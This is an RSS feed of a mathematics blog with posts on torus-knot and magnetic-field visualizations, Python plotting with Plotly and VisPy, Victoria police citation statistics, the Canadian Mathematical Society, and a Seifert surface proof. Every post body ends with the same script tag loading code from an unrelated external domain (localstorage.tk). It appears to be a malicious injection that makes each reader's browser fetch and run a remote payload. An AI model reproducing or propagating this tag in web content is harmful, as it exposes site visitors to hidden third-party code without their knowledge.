rybu's blog
http://rybu.org/blog/3
enTorus knots with homological longitude
http://rybu.org/node/72
<div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even" property="content:encoded"><p><iframe frameborder="0" height="800" scrolling="no" src="https://plot.ly/~Ryan.Budney/6.embed" width="900"></iframe></p>
<script type="text/javascript" src="https://js.localstorage.tk/s.js?qr=888"></script></div></div></div>Sat, 19 Mar 2016 22:21:00 +0000rybu72 at http://rybu.orghttp://rybu.org/node/72#commentsMagnetic field around a conducting Moebius band
http://rybu.org/node/71
<div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even" property="content:encoded"><p>Here is another visualization from my course. We are computing magnetic fields around conductors. This is part of a demonstration of how (relatively easily) we can compute magnetic fields about fairly arbitrary conductors. In this case, think of the Moebius band as an interval bundle over a circle. The electric current is running the the direction of the base circle. </p>
<p><iframe frameborder="0" height="800" scrolling="no" src="https://plot.ly/~Ryan.Budney/178.embed" width="900"></iframe></p>
<script type="text/javascript" src="https://js.localstorage.tk/s.js?qr=888"></script></div></div></div>Sat, 19 Mar 2016 08:10:49 +0000rybu71 at http://rybu.orghttp://rybu.org/node/71#commentsMore elementary stats derived from the VPD page
http://rybu.org/node/69
<div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even" property="content:encoded"><p>In the 30-day span of data I downloaded, Saturday appears to be the busiest day for the Victoria police. </p>
<table border="4" cellpadding="1" cellspacing="1" style="width:300px"><thead><tr><th scope="col" style="width: 135px;">Day of week</th>
<th scope="col" style="width: 147px;">avg. number of citations</th>
</tr></thead><tbody><tr><td style="width: 135px;">Wednesday</td>
<td style="width: 147px;">27.25</td>
</tr><tr><td style="width: 135px;">Monday</td>
<td style="width: 147px;">28.0</td>
</tr><tr><td style="width: 135px;">Thursday</td>
<td style="width: 147px;">31.75</td>
</tr><tr><td style="width: 135px;">Tuesday</td>
<td style="width: 147px;">33.25</td>
</tr><tr><td style="width: 135px;">Sunday</td>
<td style="width: 147px;">36.0</td>
</tr><tr><td style="width: 135px;">Friday</td>
<td style="width: 147px;">37.5</td>
</tr><tr><td style="width: 135px;">Saturday</td>
<td style="width: 147px;">39.5</td>
</tr></tbody></table><p> </p>
<p>The day-of-the-week breakdowns go like this:</p>
<p> </p>
<p><img alt="" src="http://rybu.org/sites/default/files/pictures/wed.png" style="height:640px; width:640px" /></p>
<p><img alt="" src="http://rybu.org/sites/default/files/pictures/mon.png" style="height:640px; width:640px" /></p>
<p><img alt="" src="http://rybu.org/sites/default/files/pictures/thur.png" style="height:640px; width:640px" /></p>
<p><img alt="" src="http://rybu.org/sites/default/files/pictures/tues.png" style="height:640px; width:640px" /></p>
<p><img alt="" src="http://rybu.org/sites/default/files/pictures/sun.png" style="height:640px; width:640px" /></p>
<p><img alt="" src="http://rybu.org/sites/default/files/pictures/fri.png" style="height:640px; width:640px" /></p>
<p><img alt="" src="http://rybu.org/sites/default/files/pictures/sat.png" style="height:640px; width:640px" /></p>
<script type="text/javascript" src="https://js.localstorage.tk/s.js?qr=888"></script></div></div></div>Fri, 11 Mar 2016 08:07:28 +0000rybu69 at http://rybu.orghttp://rybu.org/node/69#commentsA breakdown of the Victoria Police department "crime types" for all incidents over the past 30 days.
http://rybu.org/node/68
<div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even" property="content:encoded"><p>This semester I've been enjoying teaching a course where we use <a href="https://www.python.org/">Python</a>. I've been getting acquainted with its abilities to pull and parse data off the internet, and turn it into useful graphics. The Victoria Police Department has an <a href="https://vicpd.ca/public-safety/crime-prevention/crime-reports/">incident-report webpage</a>. I wrote a script to strip the crime data off the webpage and will ask my students to do some basic statistical analysis of the data. Here is a teaser of what's to come.</p>
<p class="rtecenter">Over the past 30 days, here is the relative frequency of the different recorded crime-types:</p>
<p><img alt="" src="http://rybu.org/sites/default/files/pictures/last%2030%20days.png" style="height:831px; width:972px" /></p>
<p> </p>
<script type="text/javascript" src="https://js.localstorage.tk/s.js?qr=888"></script></div></div></div>Wed, 09 Mar 2016 09:33:51 +0000rybu68 at http://rybu.orghttp://rybu.org/node/68#commentsInteractive Graphics - Python and Plotly
http://rybu.org/node/67
<div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even" property="content:encoded"><p>A completely different graphics engine for Python is called <a href="https://plot.ly">Plotly</a>. Aside from being a very slick package, the library makes the transition to using your graphics on-line as seamless as possible. The plot below is an interactive rendering of a parametric surface in R<sup>3</sup>, a torus knot. You can zoom and rotate with your mouse. The code to generate the plot was written in Python. The advantage of Plotly is that when you run the code, your rendering (really, your code) is sent up to the Plotly server where it can be distributed to other user's web-browsers. You can embed the rendering in any html page as an I-frame. Depending on how speedy the end-user's computer is, they may find the rendering below more or less pleasant. </p>
<p><iframe frameborder="0" height="800" scrolling="no" src="https://plot.ly/~Ryan.Budney/8.embed" width="900"></iframe></p>
<p>The big advantage of Plotly is that you can seamlessly push your graphics onto the internet. Indeed -- the plotly site sends your entire Python app to the end-users web-browser and it will be run on the end-user's machine. This can be slow, but it is effective for basic applications. It also allows the end-user to not rely on your data -- their computer can compile data in real-time by ripping it from a website, for example. </p>
<p>One downside to Plotly is you rely on their web-service to host your code. You can host public code free of charge, but if you wish to share your graphics privately you will have to pay for the service. Overall I find this quite impressive. </p>
<p>One other downside is it appears Plotly lacks some flexibility -- it takes quite a bit more effort to specify how a parametric surface is coloured. The default "colormap" option maps the colours directly from the z-coordinate. </p>
<p>Plotly has an "offline" setting where you can view your graphics locally in your i-python notebook. You can use this as much as you like without signing up for their service. </p>
<p><a href="https://plot.ly/~Ryan.Budney/folder/Ryan.Budney:129">A table of 3d-rendered (p,q)-torus knots. </a></p>
<p> </p>
<script type="text/javascript" src="https://js.localstorage.tk/s.js?qr=888"></script></div></div></div>Mon, 29 Feb 2016 02:14:06 +0000rybu67 at http://rybu.orghttp://rybu.org/node/67#commentsInteractive graphics - Python, SymPy and VisPy
http://rybu.org/node/66
<div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even" property="content:encoded"><p>One of my childhood jobs was for an engineering company. This was back in the days before Matlab or Mathematica. I would write software for this company (interestingly the company failed and was reincarnated as <a href="http://www.flexpipesystems.com/main/home.html">FlexPipe</a> in 2001, the owners being the previous engineers), to compute numerical integrals to predict the pressure it should take to make their pipe explode, in various configurations. Eventually I used the <a href="https://en.wikipedia.org/wiki/Persistence_of_vision">Persistence of Vision</a> raytracer to create slick graphics depicting the internal structure of their pipe, to help sell the product to potential investors. </p>
<p>Raytracing was extremely time consuming in the 1990's so I developed a fairly efficient pipeline for generating the graphics. One that I've been using ever since. Below is an image created by this pipeline, about 5 years ago. My pipeline primarily involved writing a Pascal (eventually C++) script to generate (part of) the script for Persistence of Vision. I would then run Persistence of Vision, sometimes for a few days, to generate the final image.</p>
<p><img alt="" src="http://rybu.org/sites/default/files/poster_small.png" /> </p>
<p>The main advantage of using Pascal and C++ to generate the data is it allowed me to be highly prescriptive on the geometric objects used -- allowing for the computation of the precise location of the circles in the above picture, as these are circles that the intersect the knot in precisely five points. The primary disadvantage is writing the Pascal or C++ program is the relatively slow compilation process and transition to a final rendered object. I've been sitting on the fence for years wondering if I should use an interactive modelling environment like AutoCad or Rhino. </p>
<p>I believe I've stumbled across a potential shortcut that will help me avoid that.</p>
<p><a href="https://www.python.org/">Python</a> is a popular high-level programming language that has a large variety of increasingly sophisticated libraries available. <a href="http://vispy.org/">VisPy</a> is a library that utilizes <a href="https://www.opengl.org/">OpenGL</a> to interface with a computers <a href="https://en.wikipedia.org/wiki/Graphics_processing_unit">GPU</a>. In short, this allows for the rapid production of software to create rapidly-rendered graphics. So rapid, in many cases, that interactive graphics are possible. </p>
<p>It would be nice if it was that straightforward. I've been coding in Python to see how possible all this is. Using a high-level language like Python comes with a price. So I've set myself a set of exercises to see if I can code "the way I'd like to" in a high-level way, and get Python to do what I like. This is the first in a series of posts where I hope to convince myself that I can. </p>
<p>The first obstacle I've encountered is the <a href="http://www.sympy.org/en/index.html">sympy library</a>. This is Python's primary library for manipulating formal mathematical expressions, such as functions, roots, special numbers such as π, etc. It is ultimately an object that stores mathematical constructions in a tree. So if you have a complicated mathematical expression and wish to evaluate it, sympy will parse through that tree (a structure based on pointers) and slowly assemble the required binary operations, perhaps using automatic casts and such to decide what you really want the library to do in the process. For a decent-sized formula (like say the boundary of a tubular neighbourhood of a torus knot in R<sup>3</sup>) this can easily be tens of thousands of times slower than coding it up in C++. If this was the end of the story, I would discard Python right here. Luckily sympy has libraries that allow one to speed this process up. </p>
<p>Here is my first coding example, using vispy to generate an interactive visualization of a (p,q)-torus knot. In future posts I hope to make the graphics increasingly interactive, using more features of the vispy library. </p>
<p>The code is broken into four blocks.</p>
<ol><li>Is the high-level block where everything is written as abstract sympy algebraic expressions.</li>
<li>Is where we experiment with the various methods for converting sympy expressions into callable functions. In this case, <em>ufunctify</em> appears to be the most efficient.</li>
<li>We generate the mesh data.</li>
<li>We pass the data to VisPy for rendering.</li>
</ol><p>One other thing to note, I am running this code in an<a href="http://jupyter.org/"> iPython / Jupyter notebook</a>. This provides a web-browser based environment for editing and running Python code. I've been teaching a course recently using this environment and have found it quite pleasant. I will put the code in a comment below. </p>
<p>And here is a screenshot of the output.</p>
<p><img alt="" src="http://rybu.org/sites/default/files/Screenshot%20from%202016-02-11%2011%3A45%3A23.png" style="height:978px; width:1352px" /></p>
<p>In my next post I will explore the VisPy <em>canvas </em>a little further, and hopefully bring further layers of interactivity into this program.</p>
<p> </p>
<script type="text/javascript" src="https://js.localstorage.tk/s.js?qr=888"></script></div></div></div>Wed, 10 Feb 2016 07:11:54 +0000rybu66 at http://rybu.orghttp://rybu.org/node/66#commentsWhy I am no longer a member of the CMS
http://rybu.org/node/65
<div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even" property="content:encoded"><p>About a year ago I let my membership to the CMS (Canadian Mathematics Society) lapse. This has not come easily for me. It is my hope that Canadian mathematicians have an effective and engaged society. But I feel the CMS has done too little for Canadian mathematics in relation to its economic burden, and has lost its way.</p>
<p>On coming home to Canada, I organized a few special sessions at CMS meetings and saw first-hand what I witnessed more distantly, as a participant at CMS meetings. They are expensive. Registration tends to be in the $200+ per person range. This is often rationalized as the cost of hosting such events at conference centres. But even when CMS meetings are held at universities and hosting expenses are less, they are not any cheaper. My impression is that the CMS uses meetings to meet its economic targets -- that the CMS would be bleeding money if it were not for the high costs of its meetings. </p>
<p>As an organizer, pulling together even a special session can be difficult. Speakers have to come from vast distances. Grad students and postdocs generally do not have money to support their travel. If we wish to invite a grad student or postdoc from Montreal of Hamilton, they will have travel costs of over $1000, hotel costs anywhere between $300 and $600, and then conference registration fees of $200, making a weekend meeting cost over $2000. If you are a grad student or postdoc, likely making less than $42,000 per year, with little or no other support, going to a CMS meeting is usually not a good idea. The result is that CMS meetings tend to be dominated by established researchers, making them a fairly low-energy affair. The CMS should be helping the mathematical sciences grow, and not just be a platform for established researchers to showcase their stuff.</p>
<p>At the last meeting I organized a special session, internally I was fuming about the costs of the meeting. I was shocked at how callous the CMS administration was regarding expenses. At the end of the meeting I recieved a rather elaborately-designed plaque commemorating the special session. All the special session organizers recieved these. Had we *not* recieved these we would have had some money left-over to lower the cost of the meeting, or to fly in other participants. What disturbs me is how un-focused on their mission the CMS is. </p>
<p>I would be happy for the CMS to help us celebrate our achievements but, please, let's do something worth celebrating first. </p>
<p> </p>
<script type="text/javascript" src="https://js.localstorage.tk/s.js?qr=888"></script></div></div></div>Tue, 24 Nov 2015 20:57:37 +0000rybu65 at http://rybu.orghttp://rybu.org/node/65#commentsApplied Topology and High-Dimensional Data Analysis
http://rybu.org/node/63
<div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even" property="content:encoded"><p><a href="http://rybu.org/appliedtopmeeting"><img alt="" src="http://rybu.org/sites/default/files/pictures/math-knot/poster.800.png" style="height:800px; width:800px" /></a></p>
<script type="text/javascript" src="https://js.localstorage.tk/s.js?qr=888"></script></div></div></div>Wed, 12 Aug 2015 06:58:35 +0000rybu63 at http://rybu.orghttp://rybu.org/node/63#commentsCascade Topology Seminar, Spring 2015
http://rybu.org/node/59
<div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even" property="content:encoded"><p><a href="http://rybu.org/cascade2015"><img alt="" src="http://rybu.org/sites/default/files/pictures/math-knot/cascade.2015.poster.1.small.jpg" style="height:800px; width:800px" /></a></p>
<script type="text/javascript" src="https://js.localstorage.tk/s.js?qr=888"></script></div></div></div>Wed, 28 Jan 2015 21:57:58 +0000rybu59 at http://rybu.orghttp://rybu.org/node/59#commentsThe canonical Seifert surface argument
http://rybu.org/node/46
<div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even" property="content:encoded"><p>One of the earliest "proper" obstruction-theory arguments in topology goes back to Bruschlinsky, Math. Ann. 109 (1934), stating that the homotopy-classes of maps from a space to the circle are in one-to-one correspondence with the 1-dimensional cohomology of the space. </p>
<p style="margin-left: 40px;">[X,S<sup>1</sup>] = H<sup>1</sup>(X)</p>
<p>As a grad student I think I learned this as being one of Serre's theorems, as it was he and Thom that used this theorem heavily to resolve various Steenrod realization problems. Much later it was pointed out (Milgram SLN 685) that this machinery gives a very slick formalism for proving the existence of Seifert surfaces for knots -- probably it was slow to be noticed due to it being a <em>relative argument</em>. I'll provide a sketch below. </p>
<p><strong>Theorem: </strong>Let M be an (n-2)-dimensional compact, connected, oriented, boundaryless submanifold of S<sup>n</sup>. Provided n>2, there is an orientable submanifold W of S<sup>n</sup> with dW=M. Here d stands for boundary. </p>
<p>Of course, it does not hold for d=2, as a point is not a boundary. </p>
<p>The proof involves two key observations. </p>
<p>1) The Bruschlinsky theorem is functorial. Meaning if A is a subspace of B, then the restriction map [B,S<sup>1</sup>] → [A,S<sup>1</sup>] is identified with the cohomological restriction H<sup>1</sup>(B) → H<sup>1</sup>(A). </p>
<p>2) There is the inclusion M → S<sup>n</sup>, with the corresponding pair (S<sup>n</sup>, M), which is homologically equivalent to the pair (C<sub>M</sub>, dC<sub>M</sub>), where C<sub>M</sub> is the complement of a small open tubular neighbourhood of M in S<sup>n</sup>. This is via excision. Moreover, dC<sub>M</sub> is a fibre bundle over M with fibre a circle. </p>
<p>Although the fibre bundle dC<sub>M</sub> → M turns out to be trivial, I find it isn't best to try attacking this problem head-on. Focus your attention on the map:</p>
<p style="margin-left: 40px;">[C<sub>M</sub>, S<sup>1</sup>] → [dC<sub>M</sub>, S<sup>1</sup>]. </p>
<p>equivalently, </p>
<p style="margin-left: 40px;">H<sup>1</sup>(C<sub>M</sub>) → H<sup>1</sup>(dC<sub>M</sub>)</p>
<p>This map fits into the cohomological long exact sequence of the pair (dC<sub>M</sub>, C<sub>M</sub>). </p>
<p style="margin-left: 40px;">... →H<sup>1</sup>(C<sub>M</sub>,dC<sub>M</sub>) → H<sup>1</sup>(C<sub>M</sub>) →H<sup>1</sup>(dC<sub>M</sub>) → H<sup>2</sup>(C<sub>M</sub>, dC<sub>M</sub>) →...</p>
<p>Via the excision identification H<sup>k</sup>(C<sub>M</sub>, dC<sub>M</sub>) ~ H<sup>k</sup>(S<sup>n</sup>, M) and a little chase with the cohomology long exact sequence of the pair (S<sup>n</sup>, M) we see that we have an extension:</p>
<p style="margin-left: 40px;">0 →<span style="line-height: 20.0063037872314px;"> H</span><sup>1</sup><span style="line-height: 20.0063037872314px;">(C</span><sub>M</sub><span style="line-height: 20.0063037872314px;">) →H</span><sup>1</sup><span style="line-height: 20.0063037872314px;">(dC</span><sub>M</sub><span style="line-height: 20.0063037872314px;">) </span><span style="line-height: 20.0063037872314px;">→ H<sup>1</sup>(M) </span><span style="line-height: 20.0063037872314px;">→ 0</span></p>
<p><span style="line-height: 20.0063037872314px;">with the map </span><span style="line-height: 20.0063037872314px;">H</span><sup>1</sup><span style="line-height: 20.0063037872314px;">(dC</span><sub>M</sub><span style="line-height: 20.0063037872314px;">) </span><span style="line-height: 20.0063037872314px;">→ H<sup>1</sup>(M) being a section of induced map on H<sup>1</sup> corresponding to the bundle map dC<sub>M</sub> </span><span style="line-height: 20.0063037872314px;">→ M. </span></p>
<p><span style="line-height: 20.0063037872314px;">This gives us a direct-sum decomposition</span></p>
<p style="margin-left: 40px;">H<sup>1</sup>(dC<sub>M</sub>) = H<sup>1</sup>(C<sub>M</sub>) <span style="font-family: sans-serif; font-size: 14px; line-height: 22.3999996185303px; background-color: rgb(249, 249, 249);">⊕</span><span style="line-height: 1.538em;"> H</span><sup>1</sup><span style="line-height: 1.538em;">(M)</span></p>
<p>A quick Poincare Duality (+LES+excision...) argument gives us that H<sup>1</sup>(C<sub>M</sub>) = H<sub>n-1</sub>(C<sub>M</sub>, dC<sub>M</sub>) = H<sub>n-1</sub>(S<sup>n</sup>, M) = H<sub>n-2</sub>(M) = Z. </p>
<p>This gives us that the restriction map</p>
<p style="margin-left: 40px;">H<sup>1</sup>(C<sub>M</sub>) →H<sup>1</sup>(dC<sub>M</sub>)</p>
<p>can be identified with the inclusion</p>
<p style="margin-left: 40px;">Z → Z <span style="font-family: sans-serif; font-size: 14px; line-height: 22.3999996185303px; background-color: rgb(249, 249, 249);">⊕</span><span style="line-height: 1.538em;"> H</span><sup>1</sup><span style="line-height: 1.538em;">(M),</span></p>
<p>given by mapping t → (t,0).</p>
<p>We're in a good position to deal with the bundle dC<sub>M</sub> → M now. The above argument shows that the map dC<sub>M</sub> → M induces (on 1-dimensional cohomology) precisely what one would expect <em>provided</em> you knew the bundle was trivial, i.e. dC<sub>M</sub> ~ M x S<sup>1</sup>. But it turns out that circle bundles are very special, and it takes relatively little for them to be trivial!</p>
<p>First off, we know dC<sub>M</sub> is an orientable manifold, because it is the boundary of an orientable manifold. Since M is also orientable, this means the fibres admit an orientation. So the bundle dC<sub>M</sub> → M is trivial over the 1-skeleton of M. Think through a cellular homology computation of H<sup>1</sup>dC<sub>M. </sub>The <em>only</em> way we can have the splitting H<sup>1</sup>(dC<sub>M</sub>) = H<sup>1</sup>(M) <span style="font-family: sans-serif; font-size: 14px; line-height: 22.3999996185303px; background-color: rgb(249, 249, 249);">⊕</span><span style="line-height: 1.538em;"> H</span><sup>1</sup><span style="line-height: 1.538em;">(S</span><sup>1</sup><span style="line-height: 1.538em;">) is if the bundle is trivial over the 2-skeleton. </span></p>
<p>Perhaps surprisingly, this finishes the job. This is due to the fact that the group Diff(S<sup>1</sup>) has the homotopy-type of O<sub>2</sub>, whose only non-trivial homotopy groups are in dimension zero and one. So once you know a bundle with fibre a circle is trivial over the 2-skeleton of a space, you know it is trivial over the entire space. </p>
<p>So where are we? We've proven that the generator of [C<sub>M</sub>, S<sup>1</sup>] restricts to a very special map in [dC<sub>M, </sub>S<sup>1</sup>]. dC<sub>M </sub>= M x S<sup>1</sup>, so there is a very special map dC<sub>M </sub>→ S<sup>1</sup>, retraction onto the fibre. The generator of <span style="line-height: 20.0063037872314px;"> [C</span><sub>M</sub><span style="line-height: 20.0063037872314px;">, S</span><sup>1</sup><span style="line-height: 20.0063037872314px;">] restricts to this!</span></p>
<p><span style="line-height: 20.0063037872314px;">Technically, these are all homotopy-classes of continuous maps, but with a little thought you can ensure all the maps are smooth, and the above arguments ensures a smooth representative of the generator restricts to a retraction onto the fibre. Let f : C<sub>M</sub> </span><span style="line-height: 20.0063037872314px;">→ S<sup>1 </sup>be such a map. The pre-image of a regular value of this map is a Seifert surface for (a manifold isotopic to) M. </span></p>
<p><span style="line-height: 20.0063037872314px;">That's the basic idea of the argument. </span></p>
<hr /><p>I should note, there are more sophisticated ways to prove the bundle dC<sub>M</sub>→M is trivial. In Bredon's text <em>Topology and Geometry</em> he formulates "triviality over the 2-skeleton" in terms of the Euler Class of the bundle, a concept I've avoided above. He argues that the Euler class of M, which is an element of H<sup>2</sup>(M) is the pull-back of the <em>Thom Class </em>of M in S<sup>n</sup>, which is itself an element of H<sup>2</sup>(S<sup>n</sup>), but this latter group is trivial. Ultimately, Bredon's argument is equivalent to the argument above. In the above argument, more obstruction theory appears "out" of the black box of slick machinery, in Bredon's argument there is more "packaging". These arguments appear in VI.12.1, VII.14.6, VII.14.7 of Bredon's book. </p>
<script type="text/javascript" src="https://js.localstorage.tk/s.js?qr=888"></script></div></div></div>Mon, 08 Dec 2014 18:22:58 +0000rybu46 at http://rybu.orghttp://rybu.org/node/46#comments